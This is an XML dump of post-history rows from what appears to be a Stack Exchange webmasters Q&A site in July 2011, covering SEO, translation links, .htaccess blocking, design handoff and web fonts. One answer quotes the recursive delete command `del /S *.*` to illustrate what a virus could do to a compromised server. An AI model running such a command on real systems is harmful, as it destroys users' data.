  <row Id="41418" PostHistoryTypeId="2" PostId="17244" RevisionGUID="77d1d7de-165c-4d2e-9b02-e72e26e37c26" CreationDate="2011-07-22T15:31:47.390" UserId="9129" Text="I don't think using excerpts is a bad idea at all. Although, you will get better results if you custom write the meta description so that it is easily readable to possible visitors (Those who may view your site in a search result). &#xD;&#xA;&#xD;&#xA;If it were me, I would do 10 to 20 meta descriptions per day and just start knocking them out.&#xD;&#xA;&#xD;&#xA;As for plugins... It it would be pretty simple to do a db query and extract the first sentence from each paragraph of the body of your blog post, and then maybe use 4 of them concatenated for your meta description.&#xD;&#xA;&#xD;&#xA;also... just a little SEO thing you may want to look at is the google rel author link&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2011/06/authorship-markup-and-web-search.html&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=1229920&#xD;&#xA;&#xD;&#xA;Best of luck!&#xD;&#xA;Joe Harman" />
  <row Id="41419" PostHistoryTypeId="25" PostId="17241" RevisionGUID="b005c6bb-0fdf-4f93-a6ba-efe9ccc2dac1" CreationDate="2011-07-22T15:31:55.567" Comment="http://twitter.com/#!/StackWebmasters/status/94429473730076672" />
  <row Id="41420" PostHistoryTypeId="2" PostId="17245" RevisionGUID="4ae9f671-4aca-4016-a294-fc8f7b111658" CreationDate="2011-07-22T15:58:48.487" UserId="4502" Text="The question doesn't really make sense.  &#xD;&#xA;The translation widget is triggered by the act of changing from the default selection(&quot;Select Language&quot;) to the target language. Making the widget come up with a different item selected wouldn't accomplish anything. In fact, people would probably have to change the selection to something else, wait for that translation, and then change it *back* to get at the language you actually want. You could conceivably use a bit of Javascript to fake a change event on the drop-down, but then that'll make it happen for everybody, including people who don't want it.&#xD;&#xA;&#xD;&#xA;If you always want to translate to the same language, maybe you should look at providing translation links instead. Assuming you're using a CMS of some kind, just go to the main &lt;a href=&quot;http://translate.google.com/&quot;&gt;Google Translate page&lt;/a&gt;, give it some URL/language combination and submit. You'll end up at something like this:&#xD;&#xA;&#xD;&#xA;    http://translate.google.com/translate?js=n&amp;prev=_t&amp;hl=en&amp;ie=UTF-8&amp;layout=2&amp;eotf=1&amp;sl=auto&amp;tl=ja&amp;u=http%3A%2F%2Fexample.com&#xD;&#xA;&#xD;&#xA;...which is a link translating `http://example.com` from English to Japanese.  &#xD;&#xA;Then, in your CMS template, replace the value of the `&amp;u` query parameter with the URL of the current page, URL-encoded." />
  <row Id="41421" PostHistoryTypeId="2" PostId="17246" RevisionGUID="51d5e009-e0a7-4284-9828-1d543d2025c4" CreationDate="2011-07-22T16:04:23.393" UserId="9129" Text="There is no server software available that will do this for you correctly. Optimize you html, write good descriptions for your pages, update your site daily with new content. If you are selling products get reviews for them from your customers. There is only one good way to improve your rankings and it takes time and effort&#xD;&#xA;&#xD;&#xA;Best of luck!&#xD;&#xA;Joe Harman&#xD;&#xA;" />
  <row Id="41422" PostHistoryTypeId="5" PostId="17245" RevisionGUID="61380d29-3d6b-4fb6-8fda-4d31c902ee8b" CreationDate="2011-07-22T16:04:29.977" UserId="4502" Comment="added 21 characters in body" Text="The question doesn't really make sense.  &#xD;&#xA;The translation widget is triggered by the act of changing from the default selection(&quot;Select Language&quot;) to the target language. Making the widget come up with a different item selected wouldn't accomplish anything. In fact, people would probably have to change the selection to something else, wait for that translation, and then change it *back* to get at the language you actually want. You could conceivably use a bit of Javascript to fake a change event on the drop-down after the page loads(I have not actually tested this), but then that'll make it happen for everybody, including people who don't want it.&#xD;&#xA;&#xD;&#xA;If you always want to translate to the same language, maybe you should look at providing translation links instead. Assuming you're using a CMS of some kind, just go to the main &lt;a href=&quot;http://translate.google.com/&quot;&gt;Google Translate page&lt;/a&gt;, give it some URL/language combination and submit. You'll end up at something like this:&#xD;&#xA;&#xD;&#xA;    http://translate.google.com/translate?js=n&amp;prev=_t&amp;hl=en&amp;ie=UTF-8&amp;layout=2&amp;eotf=1&amp;sl=auto&amp;tl=ja&amp;u=http%3A%2F%2Fexample.com&#xD;&#xA;&#xD;&#xA;...which is a link translating `http://example.com` from English to Japanese.  &#xD;&#xA;Then, in your CMS template, replace the value of the `&amp;u` query parameter with the URL of the current page, URL-encoded." />
  <row Id="41423" PostHistoryTypeId="5" PostId="17195" RevisionGUID="31546625-f686-4bbe-bc7c-d7c5f0d5103a" CreationDate="2011-07-22T16:12:46.930" UserId="4502" Comment="added 640 characters in body" Text="At the technical reading-the-specs level, the first one is correct. In HTML, the `br` tag is &lt;a href=&quot;http://www.w3.org/TR/html401/struct/text.html#h-9.1&quot;&gt;white space&lt;/a&gt; and functions as a separator.&#xD;&#xA;&#xD;&#xA;In terms of actual practice, however, it should be interpreted as, literally&#xD;&#xA;&#xD;&#xA;    Publication Author&#xD;&#xA;    Publication Citation&#xD;&#xA;&#xD;&#xA;which in terms of &quot;reading&quot; carries a different sort of &quot;pause&quot; from simply two words separated by a space.&#xD;&#xA;&#xD;&#xA;As for screenreaders, now that you've specified, things get more complicated as they're highly configurable to the user's preference. I don't do any work with them, but I've seen various comments over time that one ignores them, another respects them with a slighly longer than between-words pause as I mentioned above but could also be told to ignore them, etc. It's a specialized area, and if you need definite answers you might pose the question in the Accessify forum or similar and report back. Screenreaders in general just &lt;a href=&quot;http://webmasters.stackexchange.com/search?q=screenreaders&quot;&gt;haven't come up&lt;/a&gt; much on this site" />
  <row Id="41424" PostHistoryTypeId="5" PostId="17245" RevisionGUID="51a5a637-7b74-4952-8522-e234177f5a3a" CreationDate="2011-07-22T16:22:34.790" UserId="4502" Comment="added 14 characters in body" Text="The question doesn't really make sense, functionally.  &#xD;&#xA;The translation widget is triggered by the act of changing from the default selection(&quot;Select Language&quot;) to the target language. Making the widget come up with a different item selected wouldn't accomplish anything. In fact, people would probably have to change the selection to something else, wait for that translation, and then change it *back* to get at the language you actually want. You could conceivably use a bit of Javascript to fake a change event on the drop-down after the page loads(I have not actually tested this), but then that'll make it happen for everybody, including people who don't want it.&#xD;&#xA;&#xD;&#xA;If you always want to translate to the same language, maybe you should look at providing translation links instead. Assuming you're using a CMS of some kind, just go to the main &lt;a href=&quot;http://translate.google.com/&quot;&gt;Google Translate page&lt;/a&gt;, give it some URL/language combination and submit. You'll end up at something like this:&#xD;&#xA;&#xD;&#xA;    http://translate.google.com/translate?js=n&amp;prev=_t&amp;hl=en&amp;ie=UTF-8&amp;layout=2&amp;eotf=1&amp;sl=auto&amp;tl=ja&amp;u=http%3A%2F%2Fexample.com&#xD;&#xA;&#xD;&#xA;...which is a link translating `http://example.com` from English to Japanese.  &#xD;&#xA;Then, in your CMS template, replace the value of the `&amp;u` query parameter with the URL of the current page, URL-encoded." />
  <row Id="41425" PostHistoryTypeId="17" PostId="17247" RevisionGUID="44d02740-75de-4b87-b1b8-47c7de7bcd1a" CreationDate="2011-07-22T17:52:57.457" UserId="-1" Comment="from http://stackoverflow.com/questions/6794022/does-including-the-site-name-in-a-link-help-me-to-get-more-pages-indexed" Text="" />
  <row Id="41426" PostHistoryTypeId="2" PostId="17247" RevisionGUID="fe6ced34-fb0a-4a0e-8029-85b438b2d0b7" CreationDate="2011-07-22T17:49:11.907" UserDisplayName="Cossett" Text="I have my links set up like this:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://abc.com/test/abc&quot;&gt;&#xD;&#xA;    &lt;a href=&quot;http://abc.com/test/def&quot;&gt;&#xD;&#xA;&#xD;&#xA;the abc.com is repeated many times. What I would like to know is if I need include this at all. How about if I code the links as:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/test/abc&quot;&gt;&#xD;&#xA;    &lt;a href=&quot;/test/def&quot;&gt;&#xD;&#xA;&#xD;&#xA;Would a search engine consider these the same as the links with abc.com?" />
  <row Id="41427" PostHistoryTypeId="1" PostId="17247" RevisionGUID="fe6ced34-fb0a-4a0e-8029-85b438b2d0b7" CreationDate="2011-07-22T17:49:11.907" UserDisplayName="Cossett" Text="Does including the site name in a link help me to get more pages indexed?" />
  <row Id="41428" PostHistoryTypeId="3" PostId="17247" RevisionGUID="fe6ced34-fb0a-4a0e-8029-85b438b2d0b7" CreationDate="2011-07-22T17:49:11.907" UserDisplayName="Cossett" Text="&lt;mvc&gt;" />
  <row Id="41429" PostHistoryTypeId="2" PostId="17248" RevisionGUID="4a3b7c68-d666-482c-a57a-e7966c24e0c2" CreationDate="2011-07-22T17:59:39.440" UserId="1253" Text="Those two examples are identical and won't have any effect on your rankings or pages indexed. " />
  <row Id="41430" PostHistoryTypeId="6" PostId="17247" RevisionGUID="8514cb95-330c-45fe-8e01-574963d5b10b" CreationDate="2011-07-22T18:00:00.923" UserId="1253" Comment="modified tags" Text="&lt;search-engines&gt;" />
  <row Id="41431" PostHistoryTypeId="25" PostId="17226" RevisionGUID="872b9d96-935a-4cb3-8b51-331cfd73426c" CreationDate="2011-07-22T18:31:55.753" Comment="http://twitter.com/#!/StackWebmasters/status/94474772116799488" />
  <row Id="41433" PostHistoryTypeId="2" PostId="17249" RevisionGUID="2ab4ff6e-b647-4618-9c66-6404788fa82b" CreationDate="2011-07-22T18:54:29.183" UserId="9080" Text="thanks for all your help. They were all very helpful and gave me more information that I didn't know.  I ended up checking the .htaccess file , and suddenly found some &quot;Deny&quot; commands with IP addresses after it.  &#xD;&#xA;&#xD;&#xA;One of the ip addresses was blocking all connections with Google. &#xD;&#xA;&#xD;&#xA;So it was being blocked, maybe by a &quot;Bogus&quot; Plugin from Wordpress, or maybe someone possibly hacked into my server and changed the settings, which I find unlikely coz if they could access my account they could have easily been able to erase the website and do something funny.  Doesn't seem too unreal as my website has a very high traffic demand and is about politics in my country. &#xD;&#xA;&#xD;&#xA;So, the solution is to remove the following line from the &quot;.htaccess&quot; file - see below:&#xD;&#xA;&#xD;&#xA;&gt; deny from 66.249&#xD;&#xA;&#xD;&#xA;Thank you all." />
  <row Id="41434" PostHistoryTypeId="2" PostId="17250" RevisionGUID="99722bab-d411-43b7-afe8-8b2e622f9ee1" CreationDate="2011-07-22T19:21:16.547" UserId="9122" Text="If I were you, I would have done a research before jumping into the &quot;Article Marketing&quot; niche. The way I see it, these sites aren't reaping huge benefits as they used to do it in the past, and rightly deserves to stay down in the SERPs -- apart from the handful of article directories, most of them are junk.&#xD;&#xA;&#xD;&#xA;If are still willing to run an article site, then go ahead and call someone from the freelance community. You can ask them to mail the other writers and post the article with permission. Otherwise you can always advertise your site with a unique title -- Article Marketing for your __ Business in ___ (Place), for instance." />
  <row Id="41435" PostHistoryTypeId="2" PostId="17251" RevisionGUID="025e5a94-e923-4971-bae9-5c1351a7adaa" CreationDate="2011-07-22T19:23:32.873" UserId="9135" Text="So, I solved this problem.&#xD;&#xA;&#xD;&#xA;It might not be the best solution but for a fast solution it works fine.&#xD;&#xA;&#xD;&#xA;PDF - generate the link in view - tmpl - default.php make link `&lt;a href=&quot;&quot;&gt;PDF&lt;/a&gt;`&#xD;&#xA;  index.php?option=&quot;smth&quot;&amp;view=&quot;smth&quot;..... and at the end add &amp;format=pdf&#xD;&#xA;  in your view folder copy view.html.php  and rename it to view.pdf.php - and your set to go!&#xD;&#xA;&#xD;&#xA;Print - the very same thing as PDF at the end of link put &amp;format=print and create view.print.php&#xD;&#xA;&#xD;&#xA;Email - you can directly address the com_mailto component - here's the link example&#xD;&#xA;&#xD;&#xA;    index.php?option=com_mailto&amp;tmpl=component&amp;link=&quot;your page link you want to be sent&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So this is your fastest solution of the problem." />
  <row Id="41436" PostHistoryTypeId="2" PostId="17252" RevisionGUID="ae7d047c-5597-4e25-860e-2d7cbf3a970e" CreationDate="2011-07-22T19:24:07.857" UserId="9122" Text="From my experience, you won't have any benefits.&#xD;&#xA;&#xD;&#xA;I'm wondering why didn't I think about this before. Interesting question. :)" />
  <row Id="41437" PostHistoryTypeId="2" PostId="17253" RevisionGUID="55b30b43-c419-477e-a071-915103366571" CreationDate="2011-07-22T19:54:58.367" UserId="9137" Text="Did you check your IP at mxtoolbox's supertool?&#xD;&#xA;&#xD;&#xA;http://www.mxtoolbox.com/blacklists.aspx" />
  <row Id="41438" PostHistoryTypeId="2" PostId="17254" RevisionGUID="dc2dff32-2c8a-43b6-92f4-a781f39697b1" CreationDate="2011-07-22T20:04:33.197" UserId="7962" Text="I'm trying to convince my client to use a blog to communicate with his audience and promote his site. However, I'm still unsure whether this blog should explicitly advertise the brand as in Nike Blog or appear discretly as a sponsor, should anyone read the 'about us'.&#xD;&#xA;&#xD;&#xA;The reason I'm concerned is because the purpose of this blog is to produce articles about subjects that is of the brand's audience interest, not an institutional blog that would eventually publish news, promotions and what not. There's already a news bulletin for people who are directly interested in the brand and we're trying to reach another audience: the people who'd probably leave if they noticed the blog is institutional." />
  <row Id="41439" PostHistoryTypeId="1" PostId="17254" RevisionGUID="dc2dff32-2c8a-43b6-92f4-a781f39697b1" CreationDate="2011-07-22T20:04:33.197" UserId="7962" Text="Sponsored blog or explicit owned?" />
  <row Id="41440" PostHistoryTypeId="3" PostId="17254" RevisionGUID="dc2dff32-2c8a-43b6-92f4-a781f39697b1" CreationDate="2011-07-22T20:04:33.197" UserId="7962" Text="&lt;blog&gt;&lt;marketing&gt;" />
  <row Id="41441" PostHistoryTypeId="2" PostId="17255" RevisionGUID="cd38a374-37ed-4d20-9950-4edbd9f3b245" CreationDate="2011-07-22T20:40:02.383" UserId="4502" Text="If it really isn't intended as direct promotion for the business, there's nothing wrong with having the blog live on its own and just putting a &quot;brought to you by&quot; blurb or similar somewhere in the layout. Maybe a longer explanation on a dedicated page.&#xD;&#xA;&#xD;&#xA;Just *how* discrete to make this is up to you, but I'd suggest having at least a basic call-out someplace consistently visible(header, sidebar), rather than only stashed away on an about page. Even if the site isn't specifically about the brand, it's likely that references will be made on and off, and people *will* pick up on it. There's nothing wrong with that, but the more &quot;hidden&quot; the disclosure is in the eyes of anyone who may object, the worse the reaction will likely be. " />
  <row Id="41442" PostHistoryTypeId="5" PostId="17255" RevisionGUID="e6f2945a-399e-4bd7-b0cb-9115c616f3a3" CreationDate="2011-07-22T20:47:19.490" UserId="4502" Comment="added 421 characters in body" Text="If it really isn't intended as direct promotion for the business, there's nothing wrong with having the blog live on its own and just putting a &quot;brought to you by&quot; blurb or similar somewhere in the layout. Maybe a longer explanation on a dedicated page.&#xD;&#xA;&#xD;&#xA;Just *how* discrete to make this is up to you, but I'd suggest having at least a basic call-out someplace consistently visible(header, sidebar), rather than only stashed away on an about page. Even if the site isn't specifically about the brand, it's likely that references will be made on and off, and people *will* pick up on it. There's nothing wrong with that, but the more &quot;hidden&quot; the disclosure is in the eyes of anyone who may object, the worse the reaction will likely be. &#xD;&#xA;&#xD;&#xA;A particularly successful example of this I can recall is the &lt;a href=&quot;http://weloveyouso.com/&quot;&gt;We Love You So&lt;/a&gt; blog maintained by the people who were working on the Where the Wild Things Are movie. As things wound down in the final entries, they were addressing the movie production directly, but if you dig into the archives a bit, it was mostly just a big collection of things that inspired and influenced them." />
  <row Id="41443" PostHistoryTypeId="2" PostId="17256" RevisionGUID="9ddae216-798a-438a-b432-d8473d125a0f" CreationDate="2011-07-22T20:56:09.040" UserId="6602" Text="Let's say I have an internal website that holds pretty important data (well, contest strategies for stuff like FIRST), which I am bound to host on a Windows server with literally no security. I can't access anything but the public directory.&#xD;&#xA;&#xD;&#xA;We have script kiddies from nearby schools constantly trying to get a competitive advantage by hacking into the servers and stealing information.&#xD;&#xA;&#xD;&#xA;About 30% sure there's viruses on the system too.&#xD;&#xA;&#xD;&#xA;Is it possible to build a website that could survive such treatment?" />
  <row Id="41444" PostHistoryTypeId="1" PostId="17256" RevisionGUID="9ddae216-798a-438a-b432-d8473d125a0f" CreationDate="2011-07-22T20:56:09.040" UserId="6602" Text="How can a website survive an untrusted environment?" />
  <row Id="41445" PostHistoryTypeId="3" PostId="17256" RevisionGUID="9ddae216-798a-438a-b432-d8473d125a0f" CreationDate="2011-07-22T20:56:09.040" UserId="6602" Text="&lt;security&gt;&lt;windows&gt;" />
  <row Id="41446" PostHistoryTypeId="2" PostId="17257" RevisionGUID="1802e17e-8d79-4645-8cf3-c3242bc5f990" CreationDate="2011-07-22T21:08:25.617" UserId="6033" Text="Nope a virus could issue this command: `del /S *.*` on your website directory." />
  <row Id="41447" PostHistoryTypeId="5" PostId="17257" RevisionGUID="89a92856-8a2f-4b0c-a7eb-bc56a1571c4d" CreationDate="2011-07-22T21:15:37.437" UserId="6033" Comment="added 99 characters in body" Text="Nope a virus could issue this command: `del /S *.*` on your website directory.&#xD;&#xA;&#xD;&#xA;Anytime the server's OS is compromised there's really nothing you can do to protect against it." />
  <row Id="41448" PostHistoryTypeId="25" PostId="17254" RevisionGUID="216a7edf-c99e-48b7-a7c9-1553905b0764" CreationDate="2011-07-22T21:31:55.583" Comment="http://twitter.com/#!/StackWebmasters/status/94520070084104192" />
  <row Id="41449" PostHistoryTypeId="2" PostId="17258" RevisionGUID="57c2b3be-3ea6-4b9b-99d0-7c493328eeb2" CreationDate="2011-07-22T21:45:06.970" UserId="9140" Text="the only legit thing they could mean would be that their server are fast, as load time is a factor in G's ranking, but your html,jscript,images ect all need to bve optomised as well.&#xD;&#xA;&#xD;&#xA;Dave" />
  <row Id="41450" PostHistoryTypeId="17" PostId="17259" RevisionGUID="a48215f0-9d52-4ef9-b1b4-26a62b3254ff" CreationDate="2011-07-23T00:05:44.007" UserId="-1" Comment="from http://stackoverflow.com/questions/6797061/how-should-i-prepare-the-design-of-a-web-page-for-a-web-developer" Text="" />
  <row Id="41451" PostHistoryTypeId="17" PostId="17260" RevisionGUID="4322ed3d-d5cf-4434-bb94-4a52d5dd0726" CreationDate="2011-07-23T00:05:44.007" UserId="-1" Comment="from http://stackoverflow.com/questions/6797061/how-should-i-prepare-the-design-of-a-web-page-for-a-web-developer" Text="" />
  <row Id="41452" PostHistoryTypeId="2" PostId="17260" RevisionGUID="5c140b60-0c31-484a-bd77-4461a9f584c4" CreationDate="2011-07-22T23:45:59.100" UserDisplayName="Eric Fortis" Text="Using a grid system, like [960.gs][1].  &#xD;&#xA;&#xD;&#xA;In [this link][2] the 960 templates for PhotoShop, Illustrator, inkscape,...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why? From the 960.gs&#xD;&#xA;&#xD;&#xA;&gt; Nine-Sixty&#xD;&#xA;&gt; &#xD;&#xA;&gt; All modern monitors support at least 1024 × 768 pixel resolution. 960&#xD;&#xA;&gt; is divisible by 2, 3, 4, 5, 6, 8, 10, 12, 15, 16, 20, 24, 30, 32, 40,&#xD;&#xA;&gt; 48, 60, 64, 80, 96, 120, 160, 192, 240, 320 and 480. This makes it a&#xD;&#xA;&gt; highly flexible base number to work with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://960.gs/&#xD;&#xA;  [2]: http://github.com/nathansmith/960-Grid-System/zipball/master" />
  <row Id="41453" PostHistoryTypeId="2" PostId="17259" RevisionGUID="302e0cd5-9fbc-4ab3-bb4e-83081f474ffa" CreationDate="2011-07-22T23:13:14.010" UserDisplayName="jackal" Text="What techniques, software or practices do you use to prepare a description of a web page for further development? I am doing some research (with little luck) in how to create description for web developers - what should be included on the web page (inputs widths, font sizes, images placement, etc). Right now I use a combination of Excel and Word documents. In complex cases this is inefficient.&#xD;&#xA;&#xD;&#xA;Any other suggestions?" />
  <row Id="41454" PostHistoryTypeId="1" PostId="17259" RevisionGUID="302e0cd5-9fbc-4ab3-bb4e-83081f474ffa" CreationDate="2011-07-22T23:13:14.010" UserDisplayName="jackal" Text="How should I prepare the design of a web page for a web developer?" />
  <row Id="41455" PostHistoryTypeId="3" PostId="17259" RevisionGUID="302e0cd5-9fbc-4ab3-bb4e-83081f474ffa" CreationDate="2011-07-22T23:13:14.010" UserDisplayName="jackal" Text="&lt;web-development&gt;&lt;web-design&gt;" />
  <row Id="41456" PostHistoryTypeId="25" PostId="17247" RevisionGUID="ea15e6cd-d62a-45bf-8e39-8b22f8674cdd" CreationDate="2011-07-23T00:31:55.570" Comment="http://twitter.com/#!/StackWebmasters/status/94565368886079488" />
  <row Id="41461" PostHistoryTypeId="2" PostId="17262" RevisionGUID="b63b027e-549a-46e6-9041-4d2da55fc56d" CreationDate="2011-07-23T03:16:51.283" UserId="7450" Text="As a developer that works closely with designers, here's what I like to see:&#xD;&#xA;&#xD;&#xA;1. **Photoshop images of the different design styles.** Usually, sites have two or three major design styles (often a front page, and everything else, sometimes a third for forms or blogs or whatever). I'd like one for each style. Preferably, with the layers optimized (that is, if you have 15 layers that make up an image of an iPod, merge them into one; I don't want to deal with &quot;copy3 of carrier bar layer 1&quot; a hundred times). The layered image will allow me to slice out the graphics. It's also nice if the gradients are on separate layers from the base color, so I can accurately get base colors, since I generally use CSS for colors wherever possible. (On a side note, if you're coming up with widths, placements, sizes, and exact colors and don't have a full design image, then you're falling behind in your due diligence.)&#xD;&#xA;&#xD;&#xA;2. **A .jpg image of each of the styles.** I run Linux as my primary environment, which makes running Photoshop sketchy. Gimp and other tools can open Photoshop files, but sometimes things don't translate. A .jpg of your design helps fill in any discrepancies. While you don't necessarily need to do this if you know your developer has the same version of Photoshop as you, it's also useful in case they have an older version, which might not have all of the same features, either (after all, we don't live in Photoshop like you do).&#xD;&#xA;&#xD;&#xA;3. If you have a textured background, **a smaller, tileable version of said texture.** The Internet is a slow beast, especially when it comes to images. If you want asphalt or wood or paper or whatever as your background, give me an image that's no more than about 100x100 pixels and tiles seamlessly. Ideally, the smaller the better, but there are certain points, especially on full-page backgrounds, that it starts causing issues again. A giant, 10000x10000 pixel behemoth of an image is going to take forever to load, waste bandwidth, and make your site look terrible while it's loading.&#xD;&#xA;&#xD;&#xA;4. If you're the type to notice the difference between #ac432b and #ad442c, then **notes, somewhere, about the intended hex values of colors.** These can be in a Word document or on an additional layer in the Photoshop image, depending on what *your* developer prefers.&#xD;&#xA;&#xD;&#xA;5. If you're a pixel-perfection freak, then **some measurements**, at the very least for the width of the main content. If your Photoshop image is 100% scale, then it should be pretty easy to get the rest, but it can be difficult to tell from the image if you intend the page to be fixed width at 1000px or to be a more full-width layout, especially if you and your developer haven't worked together before.&#xD;&#xA;&#xD;&#xA;6. **Basic understanding of the web as a medium.** Web design is filled with graphic designers who have migrated to web design. It's hugely important (in my opinion, at least), that you understand that web design is not print design. This means that your design *will look slightly different in different browsers and on different platforms.* Unless you have the money to spend two to three times as long on development (especially if you have to support legacy browsers, such as IE6), I highly recommend getting over the need for every single browser on every single platform to look exactly the same down to the very pixel as your design. Doing so will likely not only choke your developer, but also your own design (which I'm sure will have snazzy gradients, text or box shadows, and other shiny stuff in it), and for what? So you can have the satisfaction of knowing that it's absolutely identical in every browser known to man? The general public barely even knows what a web browser *is*, let alone that more than one exist. They won't know that your boxes should actually have a drop shadow, because they won't ever see it if all they run is whatever version of IE their computer is running, *and that's okay*. I have two phrases for you: &quot;graceful degradation&quot; and &quot;progressive enhancement.&quot; Learn them, understand them, embrace them, love them. Your developers will thank you." />
  <row Id="41462" PostHistoryTypeId="25" PostId="17256" RevisionGUID="27310489-0b5d-4366-b35c-aaf7917e25f6" CreationDate="2011-07-23T03:31:55.637" Comment="http://twitter.com/#!/StackWebmasters/status/94610667889360896" />
  <row Id="41463" PostHistoryTypeId="17" PostId="17263" RevisionGUID="04106f0b-7305-480a-87e9-fe45ca67d514" CreationDate="2011-07-23T03:40:31.453" UserId="-1" Comment="from http://stackoverflow.com/questions/6797330/most-popular-fonts-used-in-webpages-and-their-fallbacks" Text="" />
  <row Id="41464" PostHistoryTypeId="17" PostId="17264" RevisionGUID="31b83b9e-1be9-483d-b9b4-b35f8766ef3e" CreationDate="2011-07-23T03:40:31.453" UserId="-1" Comment="from http://stackoverflow.com/questions/6797330/most-popular-fonts-used-in-webpages-and-their-fallbacks" Text="" />
  <row Id="41465" PostHistoryTypeId="2" PostId="17264" RevisionGUID="27131956-202c-402c-a052-6f4f2e6d9ed7" CreationDate="2011-07-23T00:14:56.520" UserId="9198" UserDisplayName="Rup" Text="A good place to start is [Code Style's font survey](http://www.codestyle.org/css/font-family/). They have data on the most commonly installed fonts for each of Windows, Mac and Linux (plus a Java app you can use to contribute your data) and suggested font lists for serif, sans-serif plus a few more." />
  <row Id="41466" PostHistoryTypeId="2" PostId="17263" RevisionGUID="a52f8dec-2786-4d7e-875e-b68f5ef0e9b0" CreationDate="2011-07-23T00:06:29.427" UserId="6193" Text="This is a two part question, the second question is dependent on the first:&#xD;&#xA;&#xD;&#xA; 1. What are the most popular fonts used on web pages? (the top half dozen will suffice).&#xD;&#xA;    &#xD;&#xA; 2. Include the proper CSS fallbacks for the above fonts.&#xD;&#xA;&#xD;&#xA;The reason I ask is that I have to build a form that will allow webmasters to choose a CSS font from a drop-down menu. The site will take the chosen string (fonts with respective fallbacks) from a database and insert it (via php) into aspects of a page.&#xD;&#xA;&#xD;&#xA;**Edit**: Just passing this on. Although not scientific in its approach to what constitutes 'popular' fonts and respective fallback combinations, this was a helpful starting point: http://www.w3schools.com/cssref/css_websafe_fonts.asp" />
  <row Id="41467" PostHistoryTypeId="1" PostId="17263" RevisionGUID="a52f8dec-2786-4d7e-875e-b68f5ef0e9b0" CreationDate="2011-07-23T00:06:29.427" UserId="6193" Text="Most Popular Fonts used in  Webpages and their Fallbacks?" />
  <row Id="41468" PostHistoryTypeId="3" PostId="17263" RevisionGUID="a52f8dec-2786-4d7e-875e-b68f5ef0e9b0" CreationDate="2011-07-23T00:06:29.427" UserId="6193" Text="&lt;css&gt;&lt;fonts&gt;" />
  <row Id="41469" PostHistoryTypeId="25" PostId="17263" RevisionGUID="52e2cd14-3466-4afe-b651-6e04b9a6cd06" CreationDate="2011-07-23T06:31:56.013" Comment="http://twitter.com/#!/StackWebmasters/status/94655967148511232" />
  <row Id="41470" PostHistoryTypeId="2" PostId="17265" RevisionGUID="524e620c-be05-406a-ba6c-4e087e5175da" CreationDate="2011-07-23T07:03:08.057" UserId="8935" Text="I am sure its difficlut to measure the Popularity if FONT but inmost business, propfessonal site will use Font Family such as &#xD;&#xA;**Trebuchet MS, Arial, Helvetica, sans-serif;**  very much . its elegant and yet simple" />
  <row Id="41471" PostHistoryTypeId="2" PostId="17266" RevisionGUID="4ee0643e-311d-4416-905f-6b6501bd8aa4" CreationDate="2011-07-23T07:03:12.007" UserId="7575" Text="Hey guys I am having problem with indexing my site http://www.loosediamondschicago.com which is in wordpress hosted on godaddy. Its about two weeks but still no search engine indexing me.&#xD;&#xA;&#xD;&#xA;**Some Points Your Should Know:**&#xD;&#xA;&#xD;&#xA; 1. The site hosted in wordpress.&#xD;&#xA;&#xD;&#xA; 2. When the site was in development I turned off the search engine visibility from the wordpress dashboard. After turned it on I checked the meta tags and i have found no noindex. So, i guess that is not the issue.&#xD;&#xA;&#xD;&#xA; 3. To my previous experience with wordpress i know wordpress is smart enough to automatically remove the **www** in url but in this case its not.&#xD;&#xA;&#xD;&#xA; 4. I have sent sitemap via google webmaster tool about 4 days ago but still no indexing. However webmaster tool is showing error for using now **www** url in the sitemap while my urls are **www**. But I believe if i dont have sitemap still my site should be crawled right?&#xD;&#xA;&#xD;&#xA; 5. The domain client bought was use before by other people but expired couple of years ago then my client again registered it.&#xD;&#xA;&#xD;&#xA; 6. I have checked if the domain in blacklisted or not. I have found the result not blacklisted.&#xD;&#xA;&#xD;&#xA; 7. I have get couple of backlinks hoping that my site will get indexed but still no hope.&#xD;&#xA;&#xD;&#xA;I did not faced this kinds of problem before. So people please advice. I am now check godaddy to find out if any crawl errors. I will update the post when i have it." />
  <row Id="41472" PostHistoryTypeId="1" PostId="17266" RevisionGUID="4ee0643e-311d-4416-905f-6b6501bd8aa4" CreationDate="2011-07-23T07:03:12.007" UserId="7575" Text="Major Indexing problem with my site" />
  <row Id="41473" PostHistoryTypeId="3" PostId="17266" RevisionGUID="4ee0643e-311d-4416-905f-6b6501bd8aa4" CreationDate="2011-07-23T07:03:12.007" UserId="7575" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;google-search&gt;&lt;indexing&gt;" />
  <row Id="41474" PostHistoryTypeId="2" PostId="17267" RevisionGUID="2a1b9f87-78bf-47a8-a78c-678960486275" CreationDate="2011-07-23T07:54:55.770" UserId="8972" Text="I'm sorry, I searched this site, but couldn't find the answer to my question, in spite of it being so trivial.&#xD;&#xA;&#xD;&#xA;I'm working on a CMS which get's keywords from end user, which means that they are totally dynamic for each page. I get each keyword separately. What delimiter characters should I use to include those keywords in `&lt;meta name='keywords'` element?&#xD;&#xA;&#xD;&#xA;Second question is, can I use space in my keywords? For example, can I have this meta tag element:&#xD;&#xA;&#xD;&#xA;    &lt;meta name='keywords' content='first keywords, second keyword with space, third keyword with space and another space' /&gt;" />
  <row Id="41475" PostHistoryTypeId="1" PostId="17267" RevisionGUID="2a1b9f87-78bf-47a8-a78c-678960486275" CreationDate="2011-07-23T07:54:55.770" UserId="8972" Text="Delimiter character for keywords meta tag" />
  <row Id="41476" PostHistoryTypeId="3" PostId="17267" RevisionGUID="2a1b9f87-78bf-47a8-a78c-678960486275" CreationDate="2011-07-23T07:54:55.770" UserId="8972" Text="&lt;seo&gt;&lt;meta-keywords&gt;&lt;meta&gt;" />
